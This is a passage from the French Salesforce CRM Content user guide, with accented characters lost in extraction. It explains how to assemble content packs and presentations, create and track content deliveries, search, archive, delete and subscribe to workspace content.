les packs de contenu qui utilisent un document.

Dans les rsultats de recherche, survolez un pack de contenu, puis cliquez sur l'icne reprsentant un dossier ( ) pour
afficher tous les documents du pack.

Dans la section d'assemblage, survolez un document, puis cliquez sur l'icne reprsentant une corbeille ( ) pour
supprimer ce document du pack que vous assemblez.
Cliquez tout moment sur Effacer pour annuler vos modifications ; cliquez sur Annuler pour revenir l'onglet Espaces
de travail.

Remarque: Le nombre maximal de fichiers que vous pouvez inclure dans un pack de contenu est de 50.

4. Une fois l'assemblage ou la modification de votre pack de contenu termin, cliquez sur Enregistrer, puis attribuez ou
modifiez le nom du pack de contenu.
5. Dans la bote de dialogue Enregistrer ou Publier le contenu :
a. Slectionnez un espace de travail. Si vous ne souhaitez que le pack de contenu soit visible aux autres utilisateurs de votre
organisation, par exemple si votre travail n'est pas termin, slectionnez Enregistrer dans mon espace de travail
personnel.
b. Vous pouvez galement ajouter ou modifier la description du pack de contenu.
c. Vous pouvez aussi choisir une langue. La liste droulante Langue s'affiche si le support multilingue est activ. Si vous
ne slectionnez pas une langue, Salesforce CRM Content associe le contenu votre paramtre de langue personnel. Si
des utilisateurs limitent leurs recherches de contenu une langue particulire, seul le contenu associ cette langue est
affich dans les rsultats de recherche.
d. Si vous modifiez le pack de contenu, renseignez le champ Motif de la modification.
e. Si vous souhaitez publier le contenu pour le compte d'un autre auteur, slectionnez-le dans la liste droulante.
f. Balisez votre contenu. Votre autorisation de balisage dpend de la rgle de balisage attribue l'espace de travail :

Salesforce Content

Guide de l'utilisateur | Tlchargement et publication d'un contenu | 1783

Si l'espace de travail ne possde pas de rgle de balisage ou si votre administrateur a attribu une rgle de balisage
ouverte, vous pouvez saisir des balises dans le champ Balises. Lorsque vous saisissez une balise, Salesforce CRM
Content suggre automatiquement des balises en fonction de votre liste Mes balises rcentes et de la section Balises
courantes dans l'onglet Espaces de travail. La liste Mes balises rcentes de la fentre Contribuer affiche les 20
dernires balises que vous avez utilises. Cliquez sur une balise pour l'ajouter automatiquement dans le champ
Balises.
Si votre administrateur a attribu la rgle de balisage assist, vous pouvez choisir dans la liste des balises proposes
ou saisir une nouvelle balise. Cliquez sur une balise suggre pour l'ajouter automatiquement dans le champ Balises.
Si votre administrateur a attribu la rgle de balisage limit, vous devez choisir dans la liste des balises proposes.
Lorsque vous slectionnez une balise, elle prend la couleur verte.

g. Si plusieurs types de contenus sont disponibles, choisissez-en un dans la liste droulante. Le type de contenu dtermine
les champs personnaliss qui s'affichent pour vous permettre de classer et de dfinir votre contenu.
h. Cliquez sur Publier. Vous pouvez afficher la page de dtails du contenu, revenir l'onglet Espaces de travail ou publier
un autre fichier.

Cration et modification de prsentations dans Salesforce CRM Content

Autorisations utilisateur requises
Pour crer des prsentations :

Grer les espaces de travail doit tre coch dans

la dfinition de l'autorisation sur votre espace de travail

OU
Ajouter du contenu doit tre coch dans la dfinition de

l'autorisation sur votre espace de travail

Dans Salesforce CRM Content, vous pouvez crer une prsentation Microsoft PowerPoint personnalise en recherchant et
en prvisualisant des diapositives, puis en les assemblant aisment selon la squence de votre choix l'aide d'un simple outil
par glisser-dposer.
Lorsque vous publiez un fichier PowerPoint, Salesforce CRM Content tlcharge le fichier complet dans votre espace de
travail et extrait les diapositives individuelles qui sont ainsi disponibles si vous souhaitez assembler et modifier une prsentation.
Salesforce CRM Content peut effectuer une recherche de texte complet dans chaque diapositive et renvoyer uniquement celles
qui correspondent vos critres. Vous pouvez galement consulter toutes les diapositives publies dans vos espaces de travail.
L'outil d'assemblage permet de crer ou de modifier la prsentation personnalise en dplaant les diapositives individuelles
par un glisser-dposer. Vous pouvez publier la prsentation dans un espace de travail public ou la conserver dans votre zone
de contenu personnel.
Remarque: L'utilisation de prsentations requiert la version 9.0.11.5 ou suprieure d'Adobe Flash Player. Si Flash
n'est pas install sur votre ordinateur, Salesforce.com fournit un lien vers le site Web d'Adobe pour tlcharger Flash
gratuitement.
Pour utiliser des prsentations :
1. Selon que vous souhaitez crer, copier ou modifier une prsentation, utilisez l'une des options suivantes :

Salesforce Content

Guide de l'utilisateur | Tlchargement et publication d'un contenu | 1784

Remarque: Les options suivantes sont disponibles uniquement si Activer lassemblage de prsentation
est slectionn dans la page Configuration Personnalisation Salesforce CRM Content Paramtres. Si
lassemblage de prsentation est dsactiv aprs la cration de prsentations, Salesforce.com ne supprime pas les
prsentations existantes, mais il est impossible de les personnaliser ou de les modifier.

Pour crer une prsentation, cliquez sur l'onglet Espaces de travail, puis slectionnez Crer Prsentation.
Pour crer une prsentation en copiant une version existante, dans la page de dtails de contenu, cliquez sur Cloner et
personnaliser.
Pour modifier une prsentation et l'enregistrer sous une nouvelle version, dans la page de dtails de contenu, cliquez
sur Modifier Modifier la prsentation.

2. Cliquez sur Rechercher des prsentations pour afficher tous les fichiers PowerPoint dans votre espace de travail ou sur
Rechercher des diapositives pour afficher toutes les diapositives individuelles dans vos espaces de travail. Pour affiner vos
rsultats, slectionnez un espace de travail spcifique ou entrez un terme rechercher dans la case de texte avant de cliquer
sur un bouton. Notez que les fichiers PowerPoint 2007 de vos espaces de travail ne s'affichent pas dans les rsultats de
recherche et ne peuvent pas tre assembls dans des prsentations.
3. Faites glisser les fichiers ou diapositives dsirs depuis les rsultats de recherche vers la section d'assemblage, dans la partie
infrieure de la fentre. Les options suivantes facilitent l'assemblage de votre prsentation :

Dans les rsultats de recherche, cliquez sur un fichier ou une diapositive pour le ou la prvisualiser dans la partie infrieure
de la fentre. Slectionnez Ajouter la prsentation ou Masquer l'aperu selon vos besoins.
Cliquez tout moment sur Effacer pour annuler vos modifications ; cliquez sur Annuler pour revenir votre point de
dpart

Dans les rsultats de recherche, survolez une prsentation et cliquez sur l'icne reprsentant des diapositives ( ) pour
afficher toutes les diapositives de la prsentation.

Dans les rsultats de recherche, survolez une diapositive et cliquez sur l'icne reprsentant une prsentation ( ) pour
afficher toutes les prsentations qui utilisent la diapositive.

Dans la section d'assemblage, survolez un document, puis cliquez sur l'icne reprsentant une corbeille ( ) pour
supprimer ce document de la prsentation que vous assemblez.

4. Une fois l'assemblage de votre prsentation termin, cliquez sur Enregistrer, puis attribuez ou modifiez le nom de la
prsentation.
5. Dans la bote de dialogue Enregistrer ou Publier le contenu :
a. Slectionnez un espace de travail. Si vous ne souhaitez que la prsentation soit visible aux autres utilisateurs de votre
organisation, par exemple si votre travail n'est pas termin, slectionnez Enregistrer dans mon espace de travail
personnel.
b. Vous pouvez galement ajouter ou modifier la description de la prsentation.
c. Vous pouvez aussi choisir une langue. La liste droulante Langue s'affiche si le support multilingue est activ. Si vous
ne slectionnez pas une langue, Salesforce CRM Content associe le contenu votre paramtre de langue personnel. Si
des utilisateurs restreignent leurs recherches de contenu une langue particulire, seul le contenu associ cette langue
est affich dans l'ensemble des rsultats de recherche.
d. Si vous modifiez la prsentation, renseignez le champ Motif de la modification.
e. Si vous souhaitez publier la prsentation pour le compte d'un autre auteur, choisissez l'auteur dans la liste droulante.
f. Baliser votre prsentation. Vos autorisations de balisage dpendent de la rgle de balisage attribue l'espace de travail :

Si l'espace de travail ne possde pas de rgle de balisage ou si votre administrateur a attribu une rgle de balisage
ouverte, vous pouvez saisir des balises dans le champ Balises. Lorsque vous saisissez une balise, Salesforce CRM
Content suggre automatiquement des balises en fonction de votre liste Mes balises rcentes et de la section Balises

Salesforce Content

Guide de l'utilisateur | Utilisation de la liste associe Livraisons de contenu | 1785

courantes dans l'onglet Espaces de travail. La liste Mes balises rcentes de la fentre Contribuer affiche les 20
dernires balises que vous avez utilises. Cliquez sur une balise pour l'ajouter automatiquement dans le champ
Balises.
Si votre administrateur a attribu la rgle de balisage assist, vous pouvez choisir dans la liste des balises proposes
ou saisir une nouvelle balise. Cliquez sur une balise suggre pour l'ajouter automatiquement dans le champ Balises.
Si votre administrateur a attribu la rgle de balisage limit, vous devez choisir dans la liste des balises proposes.
Lorsque vous slectionnez une balise, elle prend la couleur verte.

g. Si plusieurs types de contenu sont disponibles, choisissez-en un dans la liste droulante. Le type de contenu dtermine
les champs personnaliss qui s'affichent pour vous permettre de classer et de dfinir votre contenu.
h. Cliquez sur Publier. Vous pouvez afficher la page de dtails du contenu, revenir l'onglet Espaces de travail ou publier
un autre fichier.

Utilisation de la liste associe Livraisons de contenu

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer une livraison de contenu :

Aucune

Pour modifier une livraison de contenu :

Responsable de l'enregistrement
OU
Modifier toutes les donnes

Une livraison de contenu permet de convertir aisment des documents, tels que les fichiers Microsoft PowerPoint et Word,
vers une version optimise pour le Web en vue de faciliter leur affichage. Une fois la livraison cre, vous pouvez envoyer son
URL crypte n'importe quel destinataire, notamment des pistes, des clients, des partenaires et des collgues, puis suivre le
nombre de vues ou de tlchargements du contenu. En plus du suivi, les livraisons de contenu offrent plusieurs avantages par
rapport l'envoi de fichier en pice jointe, par exemple le contrle du dlai de disponibilit de la livraison pour les visiteurs et
si un visiteur peut tlcharger un fichier ou uniquement l'afficher en ligne.
Dans la liste associe Livraisons de contenu de pistes, comptes, contacts, opportunits, requtes, campagnes et objets
personnaliss, vous pouvez :

Cliquer sur Livrer le contenu pour crer une livraison de contenu et l'associer l'enregistrement que vous affichez. Pour
plus d'informations, reportez-vous Cration de livraisons de contenu la page 1786.
Cliquer sur Aperu pour ouvrir la livraison de contenu. Chaque fois que vous affichez une livraison de contenu, elle est
enregistre en tant que vue interne dans la liste associe Vues.
Cliquez sur le nom de la livraison de contenu pour ouvrir la page de dtails correspondante. Pour plus d'informations,
reportez-vous Affichage et modification des livraisons de contenu la page 1788.

Salesforce Content

Guide de l'utilisateur | Cration de livraisons de contenu | 1786

Cration de livraisons de contenu

Disponible avec : Toutes les ditions
Salesforce CRM Content disponible avec : Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer des livraisons de contenu partir d'un espace de
travail partag dans Salesforce CRM Content :

Membre de l'espace de travail

ET
Livrer le contenu doit tre activ dans la dfinition de
l'autorisation de votre espace de travail

Pour crer des livraisons de contenu partir d'un espace de

travail personnel dans Salesforce CRM Content :

Livrer les fichiers et contenus personnels tlchargs active

dans la dfinition de l'autorisation de votre espace de travail

Pour crer des livraisons de contenu (utilisateur non Content) Livrer les fichiers et contenus personnels tlchargs active
:
dans la dfinition de l'autorisation de votre espace de travail
Une livraison de contenu permet de convertir aisment des documents, tels que les fichiers Microsoft PowerPoint et Word,
vers une version optimise pour le Web en vue de faciliter leur affichage. Une fois la livraison cre, vous pouvez envoyer son
URL crypte n'importe quel destinataire, notamment des pistes, des clients, des partenaires et des collgues, puis suivre le
nombre de vues ou de tlchargements du contenu. En plus du suivi, les livraisons de contenu offrent plusieurs avantages par
rapport l'envoi de fichier en pice jointe, par exemple le contrle du dlai de disponibilit de la livraison pour les visiteurs et
si un visiteur peut tlcharger un fichier ou uniquement l'afficher en ligne.
Une livraison de contenu peut tre cre partir de la liste associe Livraisons de contenu dans la plupart des objets Salesforce.
Les utilisateurs de Salesforce CRM Content peuvent galement crer une livraison de contenu partir de la page de dtails
de contenu ou de la liste associe Contenu associ.
Pour crer une livraison de contenu :
1. Dans la liste associe Livraisons de contenu, la liste associe Contenu associ ou la page de dtails de contenu, cliquez sur
Livrer le contenu.
2. Tlchargez un fichier ou confirmez le nom de fichier. Si vous tes un utilisateur de Salesforce CRM Content, recherchez
dans vos espaces de travail le contenu que vous souhaitez livrer. Les utilisateurs de Salesforce CRM Content peuvent
rechercher un contenu depuis des espaces de travail partags ou un espace de travail personnel.
3. Vous pouvez galement modifier le champ Nom de livraison. Ce nom identifie votre livraison de contenu dans
Salesforce.com. Nous recommandons d'utiliser un nom permettant de distinguer aisment cette livraison des autres dans
le mme enregistrement. Le nom de livraison par dfaut inclut le nom du fichier et la date du jour.
4. Slectionnez la mthode de livraison qui dtermine l'affichage de votre contenu. Les options affiches dpendent du format
du fichier tlcharg.

Slectionnez Autoriser le destinataire l'afficher dans le navigateur pour crer une version en
ligne du fichier que les destinataires peuvent visualiser dans leur navigateur.
Slectionnez Autoriser le destinataire le tlcharger au format [type de fichier] pour
permettre au destinataire de votre livraison de visualiser le contenu sous son format d'origine. Par exemple, si vous avez

Salesforce Content

Guide de l'utilisateur | Cration de livraisons de contenu | 1787

tlcharg un fichier Microsoft Word, ce champ devient Autoriser le tlchargement en tant que
fichier .doc.
Slectionnez Autoriser le destinataire le tlcharger au format .pdf pour crer une version
.pdf du fichier. Cette option est disponible uniquement avec les fichiers Microsoft PowerPoint, Word et Excel.

5. Slectionnez Me notifier lors du premier affichage ou tlchargement pour recevoir un e-mail lorsque
votre destinataire clique pour la premire fois sur l'URL de la livraison de contenu.
6. Si le contenu que vous livrez a une chance, cochez la case Retirer laccs au contenu le, puis saisissez une
date d'expiration. Par dfaut, la date d'expiration est 90 jours compter de la date courante. Une fois votre livraison de
contenu cre, vous pouvez modifier tout moment la date d'expiration dans la page de dtails de livraison.
7. Vous pouvez galement slectionner Demander un mot de passe pour accder au contenu. Lors de la cration
de la livraison de contenu, vous recevez un mot de passe inclure dans l'URL de la livraison que vous envoyez vos
destinataires. Le mot de passe est disponible dans la page de dtails de la livraison pendant sa dure de vie.
8. Vous pouvez galement utiliser la recherche pour associer votre livraison de contenu un enregistrement Salesforce.com.
L'enregistrement qui tait affich lorsque vous avez cliqu sur Livrer le contenu est slectionn par dfaut.
9. Cliquez sur Enregistrer et Suivant. Votre livraison est gnralement prte rapidement, mais vous pouvez cliquer sur Me
notifier pour quitter l'assistant de livraison de contenu et tre notifi par e-mail lorsque votre livraison est prte.
10. Si vous n'avez pas quitt l'assistant de livraison de contenu, cliquez sur Aperu pour contrler la qualit de la livraison.
Important: Le formatage du fichier d'origine peut ne pas s'afficher correctement dans la version en ligne. Si vous
slectionnez Autoriser le destinataire l'afficher dans le navigateur, affichez un aperu
de la livraison de contenu avant d'envoyer son URL vos destinataires. Si la qualit de la version en ligne ne vous
convient pas, cliquez sur Prcdent, puis slectionnez la publication du contenu sous son format de fichier d'origine
ou en tant que fichier PDF uniquement.
11. Copiez et collez l'URL de la livraison et, si applicable, son mot de passe dans un e-mail ou un message instantan pour la
livraison. L'URL est disponible dans la page de dtails de livraison. Pour plus d'informations, reportez-vous Affichage
et modification des livraisons de contenu la page 1788.

Salesforce Content

Guide de l'utilisateur | Affichage et modification des livraisons de contenu | 1788

Affichage et modification des livraisons de contenu

Disponible avec : Toutes les ditions
Salesforce CRM Content disponible avec : Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour afficher la page de dtails de livraison :

Accdez la page de dtails du contenu associ dans Salesforce

CRM Content
OU
Accdez l'enregistrement associ la livraison de contenu

Pour modifier, expirer ou supprimer une livraison de contenu : Responsable de l'enregistrement

OU
Modifier toutes les donnes

Dans la liste associe Livraisons de contenu ou la page de liste Livraisons de contenu, cliquez sur le nom d'une livraison de
contenu pour ouvrir la page de dtails.
Affichage des dtails de livraison de contenu
La page des dtails de livraison fournit l'ensemble des informations associes une livraison de contenu, comprenant
l'URL requise pour accder la livraison de contenu, le nombre d'affichages de la livraison de contenu et les paramtres
de la livraison. Pour obtenir une description de chaque champ, reportez-vous Champs de livraison de contenu la page
1816.
Modification des dtails de livraison de contenu
Cliquez sur Expire maintenant pour supprimer immdiatement l'accs la livraison de contenu. Cliquez sur Modifier
pour modifier des dtails tels que les mthodes de livraison, la date d'expiration ou l'enregistrement auquel la livraison
est associe. Pour obtenir une description de chaque champ, reportez-vous Champs de livraison de contenu la page
1816.
Suppression de livraisons de contenu
Cliquez sur Supprimer pour retirer l'accs la livraison de contenu et supprimer l'enregistrement de la livraison de
Salesforce.com. Les utilisateurs Salesforce CRM Content ne peuvent supprimer aucun fichier associ une livraison de
contenu tant qu'elle n'est pas supprime.
Suivi des livraisons de contenu
Chaque fois que l'URL d'une livraison de contenu est ouverte, Salesforce.com enregistre l'vnement en tant que vue.
La liste associe Vues de la page de dtails de la livraison de contenu rpertorie chaque vue associe la livraison. Les
informations sur la vue indiquent la date et l'heure, si elle a t vue par un utilisateur (Salesforce.com) interne et si la vue
contenait un tlchargement. Si la livraison de contenu offrait le tlchargement du fichier sous son format d'origine ou
au format PDF, le marqueur Fichier tlcharg indique qu'un tlchargement a eu lieu, mais vous ne pouvez pas
distinguer les types de fichier.

Salesforce Content

Guide de l'utilisateur | Recherche de contenu | 1789

Recherche de contenu
Autorisations utilisateur requises
Pour procder une recherche dans Salesforce CRM Content : La case Utilisateur Salesforce CRM Content doit
tre coche dans vos informations personnelles
AND
Membre de l'espace de travail

Cliquez sur l'onglet Contenu affiche les fichiers, les packs de contenu, les liens Web et les documents Google publis dans
vos espaces de travail Salesforce CRM Content. Les vingt lments les plus rcemment modifis sont rpertoris par dfaut.
Vous pouvez filtrer la liste l'aide du menu latral Filtrer vos rsultats.
Pour rechercher un contenu spcifique :
1. partir de la liste droulante Rechercher, restreignez votre recherche un espace de travail spcifique ou choisissez de
procder une recherche dans tous les espaces de travail.
2. Entrez le(s) terme(s) de la recherche et cliquez sur OK. Salesforce CRM Content effectue une recherche de texte complet
des types de documents suivants dans votre ou vos espaces de travail : format de texte complet (RTF), UTF-8 cod TXT,
HTML, XML, Adobe PDF ainsi que les fichiers Word, Excel, et PowerPoint de Microsoft Office 97 Microsoft Office
2007. Les caractres gnriques (*) ne sont pas pris en charge.
3. Si le support multilingue est activ, vous pouvez limiter votre recherche une langue spcifique. Par dfaut, Salesforce
CRM Content recherche dans tout le contenu de votre ou vos espaces de travail publi dans votre langue d'utilisateur par
dfaut. La recherche multilingue recherche galement dans les titres, les noms d'auteur, les balises, les extensions de fichier
et les champs personnaliss de contenus publis dans toutes les langues.
Remarque: La recherche multilingue ne recherche ni le texte ni la description de documents publis dans des
langues autres que celle dfinie par dfaut.
4. Dans le menu latral Filtrer vos rsultats, vous pouvez aussi filtrer vos rsultats de recherche par format de fichier, contenu,
auteur, balise, espaces de travail, type de contenu, langue ou champ personnalis. Le nombre entre parenthses en regard
de chaque type de filtre vous indique combien de fichiers, de packs de contenu, de liens Web et de documents Google
correspondants se trouvent dans les rsultats de la recherche.
L'onglet Contenu offre plusieurs solutions :

Cliquez sur Options d'affichage pour personnaliser votre vue en ajoutant des colonnes trier selon divers critres de
contenu, tels que la Taille ou la Date de publication, ou pour slectionner l'affichage de descriptions et de balises. Le
graphique de barre intelligente pour les tlchargements, les commentaires, les cotes et les abonns vous permet de
comparer des fichiers, des packs de contenu, des documents Google et des liens au sein d'un ensemble de rsultats de
recherche.
Slectionnez un ou plusieurs fichiers et cliquez sur Tlcharger pour crer un fichier zip avec le contenu que vous avez
slectionn. Les liens Web et les documents Google ne peuvent pas tre inclus dans des fichiers zip.
Survolez l'icne du fichier pour afficher un instantan d'informations sur le fichier, le pack de contenu, le document Google
ou le lien Web spcifique et les options telles que l'abonnement, le vote et le tlchargement.
Cliquez sur l'icne d'abonnement en regard du nom de fichier pour activer ou dsactiver l'abonnement. Pour plus
d'informations, reportez-vous Affichage et modification des abonnements aux contenus la page 1793.

Salesforce Content

Guide de l'utilisateur | Affichage et modification des dtails de contenu | 1790

Cliquez sur le nom du fichier pour afficher sa page dtails de contenu. La page dtails de contenu offre toutes les informations
disponibles sur un fichier, un pack de contenu, un document Google ou un lien. Pour plus d'informations, reportez-vous
Affichage et modification des dtails de contenu la page 1790.

Affichage et modification des dtails de contenu

Autorisations utilisateur requises
Pour prvisualiser et tlcharger un contenu partag :

Membre de l'espace de travail

Pour prvisualiser et tlcharger un contenu priv :

Aucune

Pour tlcharger une nouvelle version :

Ajouter du contenu doit tre coch dans la dfinition de

l'autorisation de votre espace de travail

Pour archiver et restaurer du contenu :

Archiver du contenu doit tre coch dans la dfinition

de l'autorisation de votre espace de travail

OU
Auteur du contenu
Pour supprimer dfinitivement du contenu :

Supprimer du contenu doit tre coch dans la dfinition

de l'autorisation de votre espace de travail

Pour afficher et modifier des commentaires :

Modifier les commentaires doit tre coch dans la

dfinition de l'autorisation de votre espace de travail

Pour supprimer des commentaires :

Supprimer des commentaires doit tre coch dans la

dfinition de l'autorisation de votre espace de travail

Pour baliser du contenu :

Baliser le contenu doit tre coch dans la dfinition de

l'autorisation de votre espace de travail

Pour marquer du contenu comme prsent :

Prsenter du contenu doit tre coch dans la dfinition

de l'autorisation de votre espace de travail

Pour livrer un contenu partir d'un espace de travail partag Livrer le contenu doit tre activ dans la dfinition de
:
l'autorisation sur votre espace de travail
Pour livrer un contenu partir d'un espace de travail personnel Livrer les fichiers et contenus personnels
:
tlchargs active dans la dfinition de l'autorisation de
votre espace de travail

Cliquer sur un nom de ficher dans les onglets Espaces de travail, Contenu ou Abonnements permet d'ouvrir la page de dtails
du contenu, point d'accs central pour prvisualiser le contenu et rassembler des informations sur un fichier, un lien Web, un
pack de contenu ou un document Google dans Salesforce CRM Content.
L'onglet Aperu s'affiche si votre fichier est de type :

Word, Excel et PowerPoint de Microsoft Office 97 Microsoft Office 2003

Adobe PDF
JPG, BMP, GIF et PNG

Salesforce Content

Guide de l'utilisateur | Affichage et modification des dtails de contenu | 1791

Les options suivantes sont disponibles dans la page de dtails du contenu selon le type du contenu que vous affichez, les
autorisations de votre espace de travail et selon que le contenu se situe dans un espace de travail public ou priv :

Cliquez sur le pouce vers le haut ou le pouce vers le bas pour attribuer votre vote au fichier, au lien Web, au pack de contenu
ou au document Google. Pour modifier ce vote, cliquez sur l'icne oppose. Une fois que vous avez vot, la liste Activit
rcente de l'onglet Espaces de travail indique si vous aimez ce contenu ou non.
Cliquez sur Livrer le contenu pour crer une livraison de contenu. Cliquez sur Livrer le contenu Afficher les livraisons
de contenu pour afficher une liste des livraisons associes au contenu.
Pour les liens Web ou les documents Google, cliquez sur le bouton Ouvrir pour ouvrir la page Web dans une fentre
distincte. Pour les fichiers, cliquez sur le bouton Tlcharger pour ouvrir ou enregistrer le fichier.
Cliquez sur S'abonner ou Non abonn pour activer ou dsactiver votre abonnement.
Pour des packs de contenu ou des prsentations, cliquez sur Cloner et personnaliser afin de crer un pack ou une prsentation
en ajoutant ou en supprimant des fichiers et des diapositives. Salesforce CRM Content enregistre ou publie votre pack
personnalis en tant que nouveau contenu, pas dans la version du pack ou de la prsentation que vous avez copie.
Cliquez sur Modifier Modifier les dtails du contenu pour modifier les champs standard et personnaliss.
Cliquez sur Modifier Modifier la prsentation pour crer une nouvelle version de la prsentation en ajoutant ou en
supprimant des diapositives. Cliquez sur Modifier Modifier le pack de contenu pour crer une nouvelle version du
pack de contenu en ajoutant ou en supprimant des fichiers.
Avec des fichiers, cliquez sur Modifier Tlcharger une nouvelle version pour remplacer un fichier par une nouvelle
version. L'option de version n'est pas disponible pour les liens Web, les packs de contenu ou les documents Google.
Remarque: Si le bouton Ajouter une nouvelle version apparat en gris, cela signifie que votre organisation a
dpass sa capacit de stockage et que le nouveau contenu ne peut pas tre tlcharg.

Cliquez sur Modifier Archiver le contenu pour supprimer le fichier, le lien Web, le pack de contenu ou le document
Google de l'espace de travail. Les auteurs peuvent archiver et restaurer leur propre contenu quelles que soient les autorisations
sur l'espace de travail.
Cliquez sur Modifier Supprimer le contenu pour supprimer le fichier, le lien Web, le pack de contenu ou le document
Google de Salesforce CRM Content en le dplaant dans la Corbeille. Les auteurs peuvent supprimer et restaurer leur
propre contenu quelles que soient les autorisations sur l'espace de travail. La suppression d'un document Google supprime
l'association du document avec Salesforce CRM Content, mais ne le supprime pas dans Google Apps. Vous ne pouvez
pas supprimer un fichier inclus dans un pack de contenu ou une livraison de contenu.
Cliquez sur Modifier Actions d'espace de travail, puis slectionnez Dplacer vers un autre espace de travail pour
dplacer le contenu vers un espace de travail de gestion (ou d'accueil) diffrent. Choisissez Partager dans un autre espace
de travail pour partager le contenu dans des espaces de travail supplmentaires sans modifier l'espace de travail de gestion.
Le partage et l'association du contenu vers d'autres espaces de travail permet aux membres de ces espaces de travail de
trouver votre contenu. Si l'espace de travail de gestion et l'espace de travail partag ont des rgles de balisage diffrentes,
c'est la rgle de balisage la plus restrictive qui s'applique. Si vous souhaitez supprimer du contenu d'un espace de travail
dont le contenu est partag, cliquez sur Supprimer des espaces de travail. Cette option ne supprime pas le contenu de son
espace de travail de gestion.
Cliquez sur le sous-onglet Commentaires pour afficher, ajouter, modifier ou supprimer des commentaires.
Cliquez sur les sous-onglets des versions pour afficher une liste de toutes les versions de fichier et les dclarations de motif
de modification fournies par les auteurs.
Cliquez sur le sous-onglet Tlchargements pour afficher une liste de tous les utilisateurs Salesforce CRM Content qui
ont tlcharg le fichier. Le tlchargement de donnes n'est pas disponible pour les liens Web, ni les documents Google.
Cliquez sur le sous-onglet Abonns pour afficher une liste de tous les utilisateurs de Salesforce CRM Content abonns au
fichier, au lien Web ou au document Google. Pour vous abonner un auteur, cliquez sur la liste droulante du bouton en

Salesforce Content

Guide de l'utilisateur | Suppression, archivage et restauration de contenu | 1792

regard de son nom. Pour vous abonner un espace de travail, cliquez sur la liste droulante du bouton en regard de son
nom.
Cliquez sur un nom de balise pour afficher tout le contenu associ cette balise. Cliquez sur la flche en regard de la balise
pour la supprimer ou pour vous abonner l'ensemble du contenu associ cette balise.
Pour ajouter une nouvelle balise, entrez un nom de balise dans le champ Ajouter des balises, puis cliquez sur
Enregistrer. Lorsque vous tapez une balise, Salesforce CRM Content suggre automatiquement des balises en fonction
des balises de votre liste Mes balises rcentes dans la fentre Enregistrer ou Publier et de la section Balises courantes dans
l'onglet Espaces de travail.
Remarque: Si votre administrateur a appliqu une rgle de balisage de l'espace de travail, vous ne pourrez pas saisir
de nouvelles balises. Si la rgle de balisage assist est applique, vous pouvez cliquer sur Ajouter des balises et
choisir dans la liste des balises proposes ou saisir de nouvelles balises. Si la rgle de balisage limit de l'espace de
travail est applique, vous pouvez cliquer sur Ajouter des balises et choisir dans la liste des balises suggres, mais
nous ne pouvez pas saisir vos propres balises.

Cliquez sur le nom de l'auteur pour consulter une liste du contenu publi par l'auteur. Cliquez sur la flche en regard du
nom de l'auteur et choisissez S'abonner l'auteur pour vous abonner tout le contenu publi par cet auteur.
Cliquez sur Prsenter ou Ne pas prsenter pour activer ou dsactiver la prsentation. Le contenu prsent se voit attribuer
une priorit suprieure un contenu similaire dans les rsultats d'une recherche ; par exemple, si 100 fichiers contiennent
le critre de recherche actif de vente, tous les fichiers prsents comportant ce terme apparatront en tte de la liste
des rsultats. Le contenu prsent est aussi rpertori dans l'aperu de l'espace de travail et les pages dtails de l'espace de
travail pour un accs rapide.
Cliquez sur un nom d'espace de travail pour afficher les dtails de cet espace de travail. Cliquez sur la flche en regard du
nom de l'espace de travail et slectionnez S'abonner un espace de travail pour vous abonner tout le contenu de l'espace
de travail ou Afficher le contenu de l'espace de travail pour afficher la liste de tous les fichiers, packs de contenu, liens
Web et documents Google publis dans l'espace de travail.

Suppression, archivage et restauration de contenu

Autorisations utilisateur requises
Pour archiver et restaurer un contenu dans l'espace de travail cochez Archiver le contenu dans la dfinition
:
d'autorisation sur votre espace de travail.
Pour archiver et restaurer un contenu que vous avez publi :

cochez Ajouter du contenu dans la dfinition

d'autorisation sur votre espace de travail

Pour supprimer du contenu :

cochez Supprimer le contenu dans la dfinition

d'autorisation sur votre espace de travail.

Salesforce CRM Content propose deux mthodes pour supprimer un contenu : l'archivage et la suppression. En archivant un
lment de contenu, vous le retirez de son espace de travail, sans le supprimer dfinitivement de Salesforce CRM Content.
Une fois archiv, le contenu ne peut plus tre tlcharg. Il n'apparat pas dans les rsultats de recherche mais il est toujours
possible de le localiser et de le restaurer si ncessaire. En revanche, tout contenu supprim l'est dfinitivement de Salesforce
CRM Content ds lors que la Corbeille est vide.

Salesforce Content

Guide de l'utilisateur | Affichage et modification des abonnements aux contenus | 1793

Remarque: Si vous supprimez un pack de contenu, vous ne supprimez pas les fichiers individuels qu'il contient, mais
le pack ou contenant. Les fichiers inclus dans un pack de contenu ou une livraison de contenu ne peuvent pas tre
supprims tant que le pack ou la livraison n'est pas supprime.
Pour archiver ou supprimer du contenu :
1. Cliquez sur le nom du fichier dans les onglets Espaces de travail, Contenu ou Abonnements.
2. Dans la page de dtails du contenu, cliquez sur Archiver le contenu ou Supprimer le contenu.
Remarque: Les auteurs peuvent toujours archiver et restaurer leur propre contenu. Ces derniers n'ont pas besoin
de l'option d'autorisation sur l'espace de travail Archiver le contenu.

Pour restaurer du conteneur archiv, ouvrez la page de dtails du contenu, puis cliquez sur Restaurer le contenu. Vous pouvez
choisir l'une des mthodes suivantes pour ouvrir la page de dtails d'un lment de contenu archiv :

Suivez le signet menant au contenu archiv.

Dans l'onglet Espaces de travail, cliquez sur le nom d'un espace de travail pour afficher la page de dtails de l'espace de
travail en question. Pour afficher une liste du contenu archiv dans l'onglet Contenu, cliquez sur le lien Afficher le contenu
archiv. Le lien Afficher le contenu archiv ne s'affiche que si vous disposez des privilges Archiver le contenu,
Ajouter du contenu ou Grer les espaces de travail avec l'autorisation de votre espace de travail. Si vous
disposez des privilges Archiver le contenu ou Grer les espaces de travail, une liste de tous les contenus
archivs dans l'espace de travail s'affichera, peu importe l'auteur. Si vous ne disposez pas de ces privilges mais du privilge
Ajouter du contenu, vous ne verrez que le contenu archiv dont vous tes l'auteur ou que vous avez vous-mme archiv.
Cliquez sur le contenu que vous souhaitez restaurer pour afficher la page de dtails du contenu.

Pour restaurer un contenu supprim, cliquez sur le lien Corbeille dans l'un des onglets. Slectionnez le contenu en question
et cliquez sur Restaurer.
Remarque: Les fichiers archivs et supprims sont automatiquement retirs des listes d'inscription. Les abonns ne
sont pas avertis lorsqu'un contenu est archiv ou supprim.

Affichage et modification des abonnements aux contenus

Autorisations utilisateur requises
Pour s'abonner un contenu :

La case Utilisateur Salesforce CRM Content doit

tre coche dans vos informations personnelles
AND
